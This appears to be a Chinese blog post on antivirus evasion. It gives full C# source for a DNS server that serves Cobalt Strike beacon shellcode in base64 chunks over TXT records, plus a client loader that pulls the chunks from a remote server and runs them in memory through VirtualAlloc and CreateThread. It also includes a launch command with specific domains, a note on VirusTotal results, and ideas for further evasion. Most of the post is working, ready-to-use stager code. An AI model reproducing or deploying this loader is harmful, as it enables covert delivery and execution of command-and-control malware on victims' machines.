C#免杀之自实现DNS服务器传输shellcode

Share on:

相比于http协议,dns协议有着更好的隐蔽性。类比cs的dns beacon,我们可以自己实现一个dns服务器来传输shellcode。C#拥有一个优秀的第三方库ARSoft.Tools.Net。我们可以使用他来进行dns查询和自建dns服务器。

程序设计

因为dns为递归查询,所以dns的数据最终会被我们的vps接收。而对比cs的dns传输,我们需要设计一个传输规范,规定哪部分为command,哪部分为data。

我所需要的只是一个传输隧道,而dns server只需要发送cs的bin数据包过来就可以。

设计一个流程图 image.png

代码实现

新建一个.net4.0的控制台项目,安装ARSoft.Tools.Net,因为.net版本问题,我们需要安装低版本的ARSoft.Tools.Net。 image.png

实现一个dns server

 1using ARSoft.Tools.Net.Dns;
 2using System;
 3using System.IO;
 4using System.Linq;
 5using System.Net;
 6
 7namespace SharpDNS
 8{
 9    class Program
10    {
11        static Byte[] bytes;
12        static void Main(string[] args)
13        {
14            if (args.Length<1)
15            {
16                Console.WriteLine("SharpDNS.exe beacon.bin");
17                return;
18            }
19            bytes = ReadBeacon(args[0]);
20
21            using (DnsServer server = new DnsServer(IPAddress.Any, 10, 10, ProcessQuery))
22            {
23                server.Start();
24                Console.WriteLine("Dns Server Start.");
25                Console.ReadLine();
26            }
27        }
28
29        static DnsMessageBase ProcessQuery(DnsMessageBase message, IPAddress clientAddress, System.Net.Sockets.ProtocolType protocol)
30        {
31            message.IsQuery = false;
32            DnsMessage query = message as DnsMessage;
33
34            string domain = query.Questions[0].Name;
35            // length.dns.test.local
36            // r.500.200.dns.test.local
37            string[] sp = domain.Split('.');
38            string command = sp[0];
39
40            if (command.Equals("length"))
41            {
42                Console.WriteLine("Contains Length");
43
44                query.AnswerRecords.Add(new TxtRecord(domain, 0, bytes.Length.ToString()));
45                message.ReturnCode = ReturnCode.NoError;
46                return message;
47            }
48            if (command.Equals("r"))
49            {
50
51                Console.WriteLine(domain);
52                try
53                {
54                    int hasReceive = int.Parse(sp[1]);
55                    int requireReceive = int.Parse(sp[2]);
56                    Console.WriteLine("hasReceive length:{0},require reveive byte length:{1}", hasReceive, requireReceive);
57                    Byte[] sendByte = bytes.Skip(hasReceive).Take(requireReceive).ToArray();
58                    string sendString = Convert.ToBase64String(sendByte);
59                    Console.WriteLine(sendString);
60                    query.AnswerRecords.Add(new TxtRecord(domain, 0, sendString));
61                }
62                catch (Exception e)
63                {
64                    Console.WriteLine(e.Message);
65                }
66                message.ReturnCode = ReturnCode.NoError;
67                return message;
68            }
69            message.ReturnCode = ReturnCode.Refused;
70            return message;
71        }
72        static Byte[] ReadBeacon(string path)
73        {
74            Byte[] b = File.ReadAllBytes(path);
75            Console.WriteLine("ReadBeacon File Length:{0}", b.Length);
76            return b;
77        }
78    }
79}

image.png

生成beancon.bin shellcode

使用nslookup可以看到成功处理了我们的dns请求。

image.png

wireshark抓到的包也成功返回了正确的beacon shellcode 长度。

然后在看下r.0.200.dns.test.local的数据

image.png

也正确接收到了base64的分片shellcode。接下来看client的代码。

  1using ARSoft.Tools.Net.Dns;
  2using System;
  3using System.Collections.Generic;
  4using System.Net;
  5using System.Runtime.InteropServices;
  6
  7namespace DnsLoader
  8{
  9    class Program
 10    {
 11        static string dns;
 12        static void Main(string[] args)
 13        {
 14            string domain = args[0];
 15            dns = args[1];
 16            long len = QueryLength(domain);
 17            int requireReceive = int.Parse(args[2]);
 18
 19            List<byte> bytes = new List<byte> { };
 20            for (int i = 0; i < len; i++)
 21            {
 22                int hasReceive = bytes.Count;
 23                if (hasReceive == len)
 24                {
 25                    Console.WriteLine("接收完毕");
 26                    break;
 27                }
 28                string rev = ClientQuery("r." + hasReceive.ToString() + "." + requireReceive.ToString() + "." + domain);
 29                if (rev.Equals(null))
 30                {
 31                    Console.WriteLine("dns 查询错误");
 32                    return;
 33                }
 34                byte[] b = Convert.FromBase64String(rev);
 35                bytes.AddRange(b);
 36                //Console.WriteLine(rev);
 37            }
 38
 39            Console.WriteLine(bytes.Count);
 40            if (bytes.Count != 0)
 41            {
 42                inject(bytes.ToArray());
 43            }
 44        }
 45
 46        public static long QueryLength(string domain)
 47        {
 48            long len = 0;
 49            string l = ClientQuery("length." + domain);
 50            bool success = Int64.TryParse(l, out len);
 51            if (success)
 52            {
 53                return len;
 54            }
 55            else
 56            {
 57                return 0;
 58            }
 59        }
 60
 61
 62        public static String ClientQuery(string domain)
 63        {
 64            List<IPAddress> dnss = new List<IPAddress> { };
 65            dnss.AddRange(Dns.GetHostAddresses(dns));
 66            var dnsClient = new DnsClient(dnss, 60);
 67            DnsMessage dnsMessage = dnsClient.Resolve(domain, RecordType.Txt);
 68            if ((dnsMessage == null) || ((dnsMessage.ReturnCode != ReturnCode.NoError) && (dnsMessage.ReturnCode != ReturnCode.NxDomain)))
 69            {
 70                Console.WriteLine("DNS request failed");
 71                return null;
 72            }
 73            else
 74            {
 75                foreach (DnsRecordBase dnsRecord in dnsMessage.AnswerRecords)
 76                {
 77                    TxtRecord txtRecord = dnsRecord as TxtRecord;
 78                    if (txtRecord != null)
 79                    {
 80                        return txtRecord.TextData.ToString();
 81                    }
 82                }
 83                return null;
 84            }
 85        }
 86
 87
 88        [DllImport("kernel32")]
 89        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
 90        [DllImport("kernel32")]
 91        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
 92        [DllImport("kernel32")]
 93        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
 94        public static void inject(Byte[] buffer)
 95        {
 96            UInt32 MEM_COMMIT = 0x1000;
 97            UInt32 PAGE_EXECUTE_READWRITE = 0x40;
 98            UInt32 funcAddr = VirtualAlloc(0x0000, (UInt32)buffer.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 99            Marshal.Copy(buffer, 0x0000, (IntPtr)(funcAddr), buffer.Length);
100            IntPtr hThread = IntPtr.Zero;
101            UInt32 threadId = 0x0000;
102            IntPtr pinfo = IntPtr.Zero;
103            hThread = CreateThread(0x0000, 0x0000, funcAddr, pinfo, 0x0000, ref threadId);
104            WaitForSingleObject(hThread, 0xffffffff);
105        }
106    }
107}

image.png

成功拿到beacon。 image.png

注意的是dns的txt解析一次不能传输太多,我测试的时候用的2000没什么问题。

1DnsLoader.exe cdn.jdcdn.ga dns.jdcdn.ga 2000

dns的解析记录这么设置

image.png

vt查杀结果点我

image.png

思考

  1. 通过别的协议是否更加隐蔽?
  2. 传输的只是shellcode,和分离免杀没区别,关键怎么绕过VirtualAlloc等api调用。
  3. 抠出来cs的功能一点点自己实现。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。